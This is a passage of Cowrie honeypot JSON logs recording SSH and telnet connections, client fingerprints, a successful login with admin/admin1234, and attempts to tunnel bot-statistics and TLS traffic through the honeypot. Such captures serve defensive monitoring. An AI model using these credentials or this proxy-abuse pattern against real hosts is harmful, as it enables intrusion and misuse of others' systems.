\\x0f\\xae\\x91\\xf0<\\xc9y\\xe7l1N\\xa2~\\xaa8:\\xc9\\xae\\xb1\\x16fNs\\x061q\"\\xb9\\xc2\\x83\\xcf@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:10.038745Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.0","message":"Connection lost after 21.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:15.934301Z","src_ip":"173.208.188.210","session":"a6f8e6f71d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35818,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb7baf9f1fa9","protocol":"telnet","message":"New connection: 172.81.62.90:35818 (159.203.135.109:23) [session: cb7baf9f1fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:16.789770Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35828,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1f765916b8c","protocol":"telnet","message":"New connection: 172.81.62.90:35828 (159.203.135.109:23) [session: a1f765916b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:17.795445Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":52207,"dst_ip":"10.17.0.5","dst_port":22,"session":"900f01008a27","protocol":"ssh","message":"New connection: 23.175.50.52:52207 (10.17.0.5:22) [session: 900f01008a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:27.739544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:27.744205Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:28.240238Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:29.681231Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:33.724522Z","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:33.782732Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.2.1 Mobile/18B121 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aW14X15ienNfakFlUEskJA%3D%3DTcVNlZj9P4FHGEwXojqr9csPkD4MZo4S6aK%2BuDja3FovB9RI0%2FxxGAP1pmwc%2FHpav06NrLGBhC03fhyt5EcF3IGNHiAQrYBln2NO3zc8QKP8i3wwYLiHyJv1Q1v4qAkVHVDe0o9zOVyHkZN6uxakkZ%2FTwGzqUByC6AyiuA8WRw161EGnLFQaNfEUFNCzmg%2Bw%2FxmeTbWx%2BTQaZuLr%2FMkXusBV8xDL4zXhvUVmK07FkgYFfnoMOHfMJ3pAG8dY27%2BJ5G%2BqKXkr%2B25bIta5%2BahLkKG03jFTSzTwCpOIDmYXO7MMtgP40DRY7OaV8%2Bzi4UiKvZdqT6B5Gw2%2B3ELwIyFuym6YJ866SnS5sCc%2ByTje%2FzDv69wgAPjbQv36q1K%2BWpyQXu%2BiupbT%2FmIlayhFMDTljbfFyMf3hFqVWbPMiiWwzrIINh7G0s4LWwFUZ7JWpFKlK8PSxEV1exqzLKI1Iyo83j2tGe2YZ7rWcTJmQ6O7wYgsp5A8FkTrHLUZXLFHzutuYb9a0u6e6AfFaF3PdWJVGtJ4UVCi4lsaWTvGbEmq6JanI39EEEUCDDB2aKQB9oDqMbUt9uh8F47PCQpOSNc6qGPUvhsNc4Lp7iDP05UeOa%2FcoRdr2o9X2ab3hkf0Tc3m1BTYKkkDpnVtiuUHiBBj4ZPciKya12lIf2DVOFNyOrm%2FZEnxZj5qpTXPLf8hK5hjx1RrIPsgpBEMR%2FIy85q2LJLr7iBFVHjMo3i9iYoD%2FvbK5DXgtZF39CkqS%2FmQVkGFeZJ9npdZFvDhxVKQVYbZAJY51YEs7AneCBFHfC4GL75noQXEy06agp%2BbFuasF5Dhio4KetVOFtUqw%2Fpe0MGYt%2FzKgo8QqRn73imRvYP8bOIrPmZ8hOOWnqYhV4998xfZPXbwHqaTjXUq4Tcn8Dz328R%2FOS5Bvg7C%2BkyB0YBlLETV6MgaEMisZGUOdQuFVnVKH06wQFdZVMY3u6qY0thhFEz57gMCBTMuSgAMoF%2B3xlywbz%2FUifdPHK46ujUuHLU75a4ubO0w1Ye8jVmcUnRG15swymWRoQUomsZ2r6xXymo%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.2.1 Mobile/18B121 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aW14X15ienNfakFlUEskJA%3D%3DTcVNlZj9P4FHGEwXojqr9csPkD4MZo4S6aK%2BuDja3FovB9RI0%2FxxGAP1pmwc%2FHpav06NrLGBhC03fhyt5EcF3IGNHiAQrYBln2NO3zc8QKP8i3wwYLiHyJv1Q1v4qAkVHVDe0o9zOVyHkZN6uxakkZ%2FTwGzqUByC6AyiuA8WRw161EGnLFQaNfEUFNCzmg%2Bw%2FxmeTbWx%2BTQaZuLr%2FMkXusBV8xDL4zXhvUVmK07FkgYFfnoMOHfMJ3pAG8dY27%2BJ5G%2BqKXkr%2B25bIta5%2BahLkKG03jFTSzTwCpOIDmYXO7MMtgP40DRY7OaV8%2Bzi4UiKvZdqT6B5Gw2%2B3ELwIyFuym6YJ866SnS5sCc%2ByTje%2FzDv69wgAPjbQv36q1K%2BWpyQXu%2BiupbT%2FmIlayhFMDTljbfFyMf3hFqVWbPMiiWwzrIINh7G0s4LWwFUZ7JWpFKlK8PSxEV1exqzLKI1Iyo83j2tGe2YZ7rWcTJmQ6O7wYgsp5A8FkTrHLUZXLFHzutuYb9a0u6e6AfFaF3PdWJVGtJ4UVCi4lsaWTvGbEmq6JanI39EEEUCDDB2aKQB9oDqMbUt9uh8F47PCQpOSNc6qGPUvhsNc4Lp7iDP05UeOa%2FcoRdr2o9X2ab3hkf0Tc3m1BTYKkkDpnVtiuUHiBBj4ZPciKya12lIf2DVOFNyOrm%2FZEnxZj5qpTXPLf8hK5hjx1RrIPsgpBEMR%2FIy85q2LJLr7iBFVHjMo3i9iYoD%2FvbK5DXgtZF39CkqS%2FmQVkGFeZJ9npdZFvDhxVKQVYbZAJY51YEs7AneCBFHfC4GL75noQXEy06agp%2BbFuasF5Dhio4KetVOFtUqw%2Fpe0MGYt%2FzKgo8QqRn73imRvYP8bOIrPmZ8hOOWnqYhV4998xfZPXbwHqaTjXUq4Tcn8Dz328R%2FOS5Bvg7C%2BkyB0YBlLETV6MgaEMisZGUOdQuFVnVKH06wQFdZVMY3u6qY0thhFEz57gMCBTMuSgAMoF%2B3xlywbz%2FUifdPHK46ujUuHLU75a4ubO0w1Ye8jVmcUnRG15swymWRoQUomsZ2r6xXymo%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:33.786311Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:35.532923Z","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:35.588505Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03u\\x81\\xc6mj/\\x86\\xef\\xa9<\\x12|r\\xf8\\xef\\xc2<E\\xa3\\xa3\\x08\\xe7\\xa0\\xae\\x03\\xc3\\xbcJ\\xec\\x83\\xaaz \\xabh\\xab~\\xf3 \\x00\\xb3\\xcf\\xc8\\x9b\\xe9\\r\\xaa!\\xa8,<\\n\\xb2\\xecN\\xaf\\x97\\xee\\x08\\xcc\\x0e\\xe8\\xef6=\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb3\\xfdS\\xed\\x1de\\xa5\\xb6\\xd1Y\\xe0Y\\xc9\\x87\\xb0k\\x88\\nN\\xc4\\xf34\\x9ce\\xe3\\xad\\xbb\\xcb\\x08\\xf1\\xb9J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03u\\x81\\xc6mj/\\x86\\xef\\xa9<\\x12|r\\xf8\\xef\\xc2<E\\xa3\\xa3\\x08\\xe7\\xa0\\xae\\x03\\xc3\\xbcJ\\xec\\x83\\xaaz \\xabh\\xab~\\xf3 \\x00\\xb3\\xcf\\xc8\\x9b\\xe9\\r\\xaa!\\xa8,<\\n\\xb2\\xecN\\xaf\\x97\\xee\\x08\\xcc\\x0e\\xe8\\xef6=\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb3\\xfdS\\xed\\x1de\\xa5\\xb6\\xd1Y\\xe0Y\\xc9\\x87\\xb0k\\x88\\nN\\xc4\\xf34\\x9ce\\xe3\\xad\\xbb\\xcb\\x08\\xf1\\xb9J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:35.591454Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:35.651896Z","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:50:35.714490Z","src_ip":"23.175.50.52","session":"900f01008a27","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`5\\xaf\\xa0\\xcfj\\xec\\xc2\\xd2\\xd0\\xb3R\\xa7\\xda\\x95Kw\\x8d~\\xc5\\x14\\xd00\\x0e\\xf5\\x18\\xd7D\\xe2\\x92k\\xa9 \\xd9{p\\xc4\\xe0\\xd5\\xef\\r=\\xe3\\xc1vHW\\x9d:`\\x03\\xf8\\xc29\\xd3c\\xa9\\x9b\\xd5\\xadf/;:\\xdd\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbfa\\xbd\\x86t?JZPi`\\xd9\\x90/\\xf7a\\xcd\\x16p\\xef\\xf5?\\xa1\\x01\\x12\\x8c\\xd0K\\xd3*Zs\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`5\\xaf\\xa0\\xcfj\\xec\\xc2\\xd2\\xd0\\xb3R\\xa7\\xda\\x95Kw\\x8d~\\xc5\\x14\\xd00\\x0e\\xf5\\x18\\xd7D\\xe2\\x92k\\xa9 \\xd9{p\\xc4\\xe0\\xd5\\xef\\r=\\xe3\\xc1vHW\\x9d:`\\x03\\xf8\\xc29\\xd3c\\xa9\\x9b\\xd5\\xadf/;:\\xdd\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbfa\\xbd\\x86t?JZPi`\\xd9\\x90/\\xf7a\\xcd\\x16p\\xef\\xf5?\\xa1\\x01\\x12\\x8c\\xd0K\\xd3*Zs\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\